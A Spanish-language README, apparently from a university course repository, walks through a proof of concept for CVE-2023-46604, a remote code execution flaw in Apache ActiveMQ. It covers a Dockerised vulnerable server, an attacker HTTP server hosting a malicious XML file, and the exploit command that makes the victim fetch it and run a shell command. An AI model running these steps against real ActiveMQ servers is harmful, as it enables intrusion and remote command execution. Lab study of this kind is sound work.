
Un PoC para CVE-2023-46604 escrito como parte de la clase SPS para la maestría en Ciberseguridad Avanzada en la UPB.
Asignación: SSP Assignment 3 Equipo: RCE You Later Miembros: Banica Horia Alexandru, Comarlau Vlad-Constantin
Enlace de video del uso del repositorio para realizar la PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Este repositorio contiene una Prueba de Concepto (PoC) totalmente funcional para CVE-2023-46604. Esta vulnerabilidad permite a un atacante ejecutar comandos de shell arbitrarios en un servidor Apache ActiveMQ vulnerable (versión 5.15.10) forzándolo a deserializar un archivo de configuración XML malicioso.
Objetivo: Crear un archivo llamado pwned_by_ssp_team dentro del servidor víctima para demostrar que tenemos control.
Antes de ejecutar el exploit, asegúrate de tener:
vulnerable-env/: Contiene la configuración de Docker para el servidor víctima.attacker/: Contiene los scripts de explotación y las cargas útiles maliciosas.
exploit.py: El script de Python que envía el paquete malicioso.serve.py: Un servidor HTTP simple para alojar la carga útil XML.poc.xml: El archivo de configuración malicioso que contiene el comando touch /tmp/pwned_by_ssp_team.Ejecutaremos una versión antigua y vulnerable de ActiveMQ usando Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
El servidor víctima necesita descargar instrucciones de nosotros. Configuraremos un pequeño servidor web para alojar estas instrucciones.
attacker:
cd attacker
python3 serve.py
Ahora enviamos el paquete de red específico que desencadena la vulnerabilidad.
Abre una tercera terminal.
Navega a la carpeta attacker:
cd attacker
Ejecuta el script de explotación.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal con la puerta de enlace del puente de red, generalmente: 172.17.0.1. Intenta obtener la dirección de esta manera si la prescrita no funciona: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'¿Funcionó? Vamos a comprobar si el archivo fue creado dentro del contenedor.
/tmp dentro de la víctima:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Para detener y eliminar el contenedor vulnerable:
cd vulnerable-env
docker-compose down